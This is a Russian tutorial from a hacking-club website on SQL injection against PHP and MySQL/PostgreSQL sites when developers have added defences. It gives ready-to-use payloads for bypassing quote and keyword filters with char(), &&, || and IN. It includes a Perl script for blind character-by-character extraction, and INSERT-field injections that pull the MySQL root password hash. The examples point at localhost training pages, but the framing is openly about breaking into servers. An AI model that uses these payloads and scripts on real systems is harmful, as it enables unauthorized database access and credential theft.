Сниффер Bugtraq Файлы Статьи Новости
 
Форум [ ssl ]   Друзья   О Клубе          

Последнее на Форуме

Пожертвования

Пожертвуйте на развитие проекта
через смс
Кошельки WebMoney:
Z583322939655
E121331800314
R274644017049

Контакты

Связь с Администрацией

hpcteam1[@]gmail.com

Каталог Статей rss

[ Добавить Статью на сайт ]

Каталог Статей / Безопасность и Хакерство / Взлом Сайтов / SQL-injection

Решение некоторых проблем

Не надо думать, что с помощью того, что я описал ранее,
Вы сможете взломать любой сервер в сети. Администраторы
и программисты знают кучи способов защиты от SQL-инъекций.
К тому же Вы можете столкнутся с ниже описанными неприятностями
которые, вероятно, поставят Вас в тупик:

1. Фильтрация кавычек.
2. Вывод чётко определённой, программистом, информации
3. Инъекция в insert или update
4. Фильтрация ключевых слов
5. Проблемы с кодировками
6. Несовпадения типов данных


1. Фильтрация кавычек.

Фильтрация кавычек – средство отсечения начинающих.
Работает этот метод следующим образом: при обнаружении,
в параметре, одинарной или двойной кавычек к ним
автоматически подставляется слэш. Вот что может получиться:
Вы вводите
script.php?user=adm’in

а при нажатии enter’а у Вас получается тоже самое что и при
script.php?user=adm’in


Также не пройдут ссылки типа
mynews.php?id=1 union select password from users where username=’admin’/*

потому что к кавычкам тут же подставится слэш и запрос провалится.
В таком случае можно воспользоваться функцией char() – она возвращает
символы по их ASCII-кодам. Например, результатом char(116,116,116)
будет надпись ttt. Таким образом, если нужно взять пароль пользователя admin, то за место ссылки
vnews.php?id=1 union select password from users where username=’admin’/*

можно использовать ссылку
vnews.php?id=1 union select password from users where username=char(97,100,109,105,110)/*


Как видите - в вышеприведённом запросе нет ни одной кавычки.
Если вы проведёте такой запрос то увидите что разницы
между ‘admin’ и char(97,100,109,105,110) нет никакой.

В PostgreSQL функция преобразования ascii-кодов в символы называется не char() а chr()

Для преобразования символов в ascii-коды в mysql имеется функция ascii() –
главная загвоздка только в том, что за раз можно преобразовать только
одну букву. Поэтому, чтобы перевести слово admin в ascii-коды,
нам потребуется выполнить 5 запросов:
select ascii(‘a’);

select ascii(‘d’);

select ascii(‘m’);

select ascii(‘i’);

select ascii(‘n’);


Это конечно неудобно, давайте сейчас напишем скрипт на php,
который будет делать всю работу за нас. Вот его код(ascii.php):
########################### ascii.php ############################

<?php /*Функция вывода формы запроса слова*/ function form(){ print "<hr>"; print "<form action=? method=GET>"; print "Word:<input name=string type=text>"; print "<input type=submit value=OK>"; print "</form>n"; } /*если никакое слово не введено то отображаем форму и завершаем работу*/ if (!isset($_GET['string'])){ form(); exit; } /*Если слово введено то разбиваем его по одной букве и запихиваем в массив $str_arr*/ $string=$_GET['string']; for ($i=0;$i<strlen($string);$i++){ $str_arr[$i]=substr($string,$i,1); } $result=''; /*Далее каждый символ переводим в ascii-код*/ for ($i=0;$i<count($str_arr);$i++){ /*Если мы переводим последний символ, то не ставим перед ним ничего*/ if ($i==count($str_arr)-1){ $result=$result.ord($str_arr[$i]); /*ord() – функция PHP для перевода символа в его ascii-код*/ }else{ /*Если символ не последний то ставим после него запятую*/ $result=$result.ord($str_arr[$i]).","; } } print "char(".$result.")"; /*выводим то что получилось и снова вызываем форму.*/ form(); ?>


###############################################################


Вот этот скрипт поможет Вам в переводе обычных слов любой длины в ascii-коды.

2. Если информация не выводится.

Иногда случается так, что запрос то вроде бы и проходит, но вот
ожидаемой информации невидно. Это может быть в том случае, если
программист чётко определил какое поле нужно вывести. У нас
тренировочные скрипты написаны так, что выводят вообще ВСЁ
что есть в результате запроса. Мы выводим всё с помощью цикла

while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { print "t<tr>n"; foreach ($line as $col_value) { print "tt<td>$col_value</td>n"; } print "t</tr>n"; }


Следовательно, обрабатывается и то, что является поддельным запросом.
Поэтому мы с Вами видим результат запроса после union. Но если, например,
за место нашего цикла, который выводит текст, написать
$line = mysql_fetch_array($result, MYSQL_ASSOC);

print $line['text']; /* Выводим информацию только из поля text*/


то ничего мы не увидим. Проверьте сами. В таком случае нас спасёт
только посимвольный перебор. Данная методика проведения SQL-injection
полностью описана в статье “Посимвольный перебор в базах данных на
примере MySQL”, за что огромный респект 1dt.w0lf. Сейчас я объясню
только основы данного метода проведения SQL-injection. Помните как
мы с Вами, при проверке на наличие уязвимости, вводили конструкцию
AND (mynews.php?id=1+AND+1=1/*)? Дак вот после AND можно дописать
не только это условие, и по тому, как отработал скрипт, уже судить
о правильном или неправильном условии. Пример: мы с Вами работаем
от пользователя root, вот такое условие это докажет:

AND user()=’root@localhost’

Пример использования:
http://localhost/mynews.php?id=2+AND+user()='root@localhost'

Но подбирать так не выгодно только из-за того, что это очень долго.
Попробуйте угадайте имя пользователя если оно будет site_user_super_vasya.

Давайте попробуем подобрать по буквам. Ведь букв намного меньше,
чем вариантов имени пользователя. Для этого нам понадобится функция substring()
используется она следующим образом:

substring(строка,с_какого_символа_вывести,сколько_символов_вывести)

Пример:
SELECT substring('hack',1,1) – выведет h
SELECT substring('hack',2,1) – выведет a

Соответственно мы можем составить следующий запрос:
http://localhost/mynews.php?id=2+AND+substring(user(),1,1)='r'

и он отработает нормально. Так же вы можете подбирать
не только результаты функций, но и данные из таблиц,
используя вложенные запросы. Вложенные запросы
используются всегда в скобках.
Пример:

select (select 111);

Выведет вам 111. Таким образом, мы можем использовать
вложенные запросы и в функции substring(). Давайте проведём
эксперимент с нашей таблицей новостей, и вставим в параметр substring() запрос

SELECT text FROM news WHERE id=1

Так мы сможем подобрать текст первой новости.
Так как первая буква первой новости у нас f то запрос

http://localhost/mynews.php?id=2+AND+substring((SELECT+text+FROM+news+WHERE+id=1),1,1)='f'/*

не вызовет ошибки. Если же в уязвимом скрипте имеется
фильтрация кавычек, то вы так же можете воспользоваться функцией char():

http://localhost/mynews.php?id=2+AND+substring((SELECT+text+FROM+news+WHERE+id=1),1,1)=char(102)/*

Сейчас мы напишем скрипт на перле который будет осуществлять перебор.

########################## symbol_brute.pl #######################

#!/usr/bin/perl

use LWP::UserAgent;

#Полная ссылка до последнего значения

$url="http://localhost/mynews.php?id=1+AND+substring((SELECT+text+FROM+news+WHERE+id=1),1,1)=";

#признак, по которому мы определим – прошёл запрос или нет

#в нашем случае – если запрос прошёл правильно то выводится текст

#новости

$priznak="first";

#Т.к. нас интересуют только алфавитные символы то берём

#ascii-диапазон от 97 до 122

for ($i=96;$i<123;$i++){

$client = LWP::UserAgent->new( ) or die;

#Запрашиваем адрес в $url + char(номер_символа)

$answer = $client->get($url."char(".$i.")");

#Если признак правильного запроса в ответе имеется то выводим #найденную букву и завершаем работу.

if (index($answer->content,$priznak)>-1){ print "Symbol:".chr($i); break; } }

###############################################################


Таким образом, Вы можете осуществлять подбор символов и
тем самым добывать нужную Вам информацию. Но я всё равно
настоятельно рекомендую прочитать статью 1dt.w0lf`a, т.к. там этот способ проведения
SQL-injection рассмотрен очень подробно, с кучей примеров и объяснений.

Вы можете попасть в следующую ситуацию: запрашиваемая Вами
информация выводится, а вот результат функции user() – нет.
В таком случае не нужно сразу прибегать к перебору, Вам поможет функция hex().

Пример: ссылка
http://localhost/mynews.php?id=2+union+select+null,null,hex(user())/*

выдаёт нам
726F6F74406C6F63616C686F7374

Затем заходим в mysql и пишем запрос:
select 0x726F6F74406C6F63616C686F7374

(0x – указывает на обратное преобразование), результат:
root@localhost


3. Когда инъекция в insert или update.

Больше всего новичков ставят в тупик именно эти варианты – инъекция
в конструкции insert или update. К слову сказать – тут 2 варианта.

1. Вы видите то, что Вы вставляете
2. Вы не видите того, что Вы вставляете

Во 2-ом варианте выхода, кроме DoS, нет, поэтому рассмотрим 1-ый.
У Вас остался ещё скрипт нашей гостевой книги? Как Вы наверное уже
догадались – она сплошь и рядом страдает SQL-injection. Вспомните
вложенные запросы, о которых мы только что разговаривали, почему бы
не применить их здесь? Итак, давайте мы попытаемся узнать имя
пользователя с помощью всё той же функции user(). Зайдите в нашу
гостевую книгу. Как Вы помните – поле icq не имеет кавычек при вставке.
Таким образом мы можем после номера аси написать user(), но ведь надо
же ещё и закончить запрос так, чтоб не вызвать ошибки. Запрос на вставку у нас следующий:

INSERT INTO GuestBook(Name,ICQ,message) VALUES('".$name."',".$icq.",'".$message."');

Итак, нам нужно после номера аси поставить запятую, далее вписываем то что
нам нужно + закрываем скобку, затем ставим комментарий и тем самым отметаем
весь оставшийся запрос. Не забудьте заполнить поле сообщения т.к. скрипт в
начале проверяет их на пустоту. Получается, что в поле icq нам нужно вписать следующие данные:

188069,user())/*
Так же можем в скобках взять пароль пользователя root запросом
188069,(SELECT mysql.user.password from mysql.user WHERE mysql.user='root'))/*


Обратите внимание на то, что запрос, вложенный в insert, должен вернуть
только одно значение, иначе вылезет ошибка. Так же не пройдёт вложенный
запрос с конструкцией into outfile – информация внесётся а вот файл не появится.

При последующем захождении в гостевую будет видно что мы оставили сообщения
с именем пользователя и паролем рута =). То же самое можно провести и с update.

4. Фильтрация ключевых слов.
Часто разработчики фильтруют union, select, null, where и прочие
опасные слова. Разумеется, они думают что они лишат взломщика всех шансов на взлом.
Давайте посмотрим – какие же выражения представляют опасность
с точки зрения большинства программистов:

• UNION
• null
• SELECT
• AND
• OR
• =

Разумеется, можно в этот список включить ещё одинарные и
двойные кавычки. Конечно Вы можете подумать что если
происходит такая фильтрация то атака становится невозможной.
Это далеко не так. Дело в том, что мы можем организовать
примерно те же условия но совсем в другой форме.
Какая либо замена SELECT и UNION мне не представляется возможной,
может её действительно нет, может я плохо смотрел,
а про замену null на цифру Вы уже знаете. Поэтому
давайте сразу перейдём к оператору AND.

1. AND
Возьмём запрос, содержащий проверку на уязвимость(AND 1=1/*):
SELECT * FROM news WHERE id=1 AND 1=1/*

Если AND фильтруется то, разумеется, таким способом, мы не
сможем угадать – если уязвимость или нет. При таком случае
можно воспользоваться конструкцией заменяющей AND – &&

SELECT * FROM news WHERE id=1 && 1=1/*

Результат этих 2-х запросов, и с AND и c && одинаков.
Так же можно воспользоваться конструкцией IN или NOT
Примеры: Запрос

SELECT * FROM news WHERE id=1 in (1);

пройдёт нормально и выдаст текст и id первой новости, тогда как
SELECT * FROM news WHERE id=1 in (2);

не выдаст результата.
Конструкция NOT: запрос
SELECT * FROM news WHERE id=not 0

Выдаст текст первой новости.

2. OR
Заменить OR можно при помощи конструкции ||.
Запросы
SELECT * FROM news WHERE id=1 OR 1=1;

и
SELECT * FROM news WHERE id=1 || 1=1;

Выдадут одинаковый результат.

3. =
Вместо знака равно Вы можете пользоваться следующими знаками чтобы хоть как то получить результат:
< больше
> меньше
<> неравно
Вот пример проходящих проверок:
SELECT * FROM news WHERE id=1 AND 1<>2;

SELECT * FROM news WHERE id=1 AND 1>0;

SELECT * FROM news WHERE id=1 AND 1<2;


Обратите внимание на то, что с браузером Mozilla не получатся
запросы со знаками <,>,<> так как данный браузер сразу перекодирует
их. В случае использования данных знаков лучше воспользоваться IE.

А вот запрос с использованием IN вообще без знака равно:
SELECT * FROM news WHERE id=1 AND (SELECT 1) in(1);

То же самое что и
SELECT * FROM news WHERE id=1 AND 1=1;

Таким образом, при фильтрации ключевых слов Вы
сможете хотя бы произвести перебор по символам.


5. Проблемы с кодировками.
Иногда, в MySQL, при попытке вывода какой либо информации,
Вы можете увидеть ошибку несовпадения кодировок. Вот текст
ошибки в ситуации когда ожидаются данные в кодировке cp-1251
а выводятся в utf8:

Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'


Решить эту проблему нам поможет 2 функции:
1. convert().
Используется она следующим образом:
CONVERT(то_что_надо_вывести+USING+в_какой_кодировке_надо_вывести)
Пример:
CONVERT(‘test’ USING utf8)
– выводим текст “test” в кодировке utf8.
За место test может быть и вложенный запрос или результат какой либо функции.


В PostgreSQL есть точно такая же функция, но работает немного по другому.
Используется так же но вот за место имени кодировки надо указать – из
какой кодировки в какую Вы собираетесь кодировать.
Таблицу всех возможных значений вы можете посмотреть ЗДЕСЬ.
Что бы не бомбить наугад Вы можете воспользоваться функцией pg_client_encoding()
Она возвращает текущую кодировку подключения.
Пример:

http://localhost/pgnews.php5?id=1+union+select+pg_client_encoding()--
возвращает:
First News
SQL_ASCII


2. charset():
Данная функция выводит кодировку заданной строки. Пример:
mysql> select charset('Программинг');

+------------------------+

| charset('Программинг') |

+------------------------+

| latin1 |

+------------------------+

1 row in set (0.00 sec)


Как видите – используемая кодировка latin1.

6. Несовпадения типов данных.
В MySQL я ни разу с этим не сталкивался, но если вдруг Вам
придётся столкнутся с такой проблемой то используйте функцию cast():
cast(то_что_надо_преобразовать AS в_какой_тип_преобразовать)

Пример:

select cast(curdate() AS char);
(функция curdate() возвращает текущую дату и время.)
Выводится: “2007-01-02”
Обратите внимание на то, что при преобразовании результат может
быть изменён, например запрос cast(curdate() AS signed)
(преобразовываем дату в число) выдаст уже не всю дату, а только “2007”.
Вот список типов MySQL в и из которых можно преобразовывать данные:

• BINARY
• CHAR
• DATE
• TIME
• DATETIME (Дата + время: 2007-01-11 11:44:12)
• SIGNED (число)
• UNSIGNED (число)

Зато неприятность с расхождением типов полей
встречается в PostgreSQL сплошь и рядом.
Выглядит ошибка несовпадения типов данных примерно так:

Warning: pg_exec(): Query failed: ERROR: UNION types 'character varying' and 'integer' not matched in /home/localhost/www/pgnews.php on line 11

PostgreSQL Error: 1 (ERROR: UNION types 'character varying' and 'integer' not matched)

Session halted.


Как видите – при использовании union в поле, в котором должны
оказаться данные типа character varying мы пытаемся всунуть
числовые данные(integer). В такой ситуации, если Вы видите сам
запрос, то лучше просто вставить то же что и в самом запросе,
что бы иметь нормально проходящий запрос. Например, у нас есть
запрос SELECT date,id FROM magazine WHERE id=1
И после id имеется инъекция. Тогда запрос:

SELECT date,id FROM magazine WHERE id=1 UNION SELECT 1,1/*

не пройдёт потому что нужно чтоб типы данных совпадали, а
числовой тип и тип data не совпадут. Тут пройдёт следующий запрос:
SELECT date,id FROM magazine WHERE id=1 UNION SELECT date,id/*

После этого, вы можете подбирать данные через последний столбец(id).
Если же запроса Вы не видите, то можете просто по ошибке определять
нужный Вам тип данных, за место первого null(или цифры) вставляйте
любые данные – смотрите на ошибку, смотрите какие данные должны там
находится и таким образом Вы сможете найти хотя бы одно поле пригодное
для вывода информации или перебора. Запомните то, что пока Вы не
подберёте нужное количество полей то данная ошибка показываться не будет.

Источник: inattak.ru

Материал добавил s0llo


Комментарии(0)

Дата: 2010-01-12 21:26:15

Добавить Комментарий к Материалу

Вы должны быть авторизованы на форуме чтобы добавлять комментарии. Регистрация

Комментариев к Материалу пока нету. Вы будете первый, кто оставит здесь комментарий

Облачко

Последнее на Сайте

Новости

Статьи

Файлы

Bugtraq

службы мониторинга серверов

Copyright © 2008 - 2010 «HACKER-PRO CLUB». При копировании материалов ставьте ссылку на источник.
Все материалы представлены только в ознакомительных целях, администрация за их использование ответственности не несет.
hacker-pro.net engine v. 3.1 Coded by SokoL Пользовательское соглашение Реклама на сайте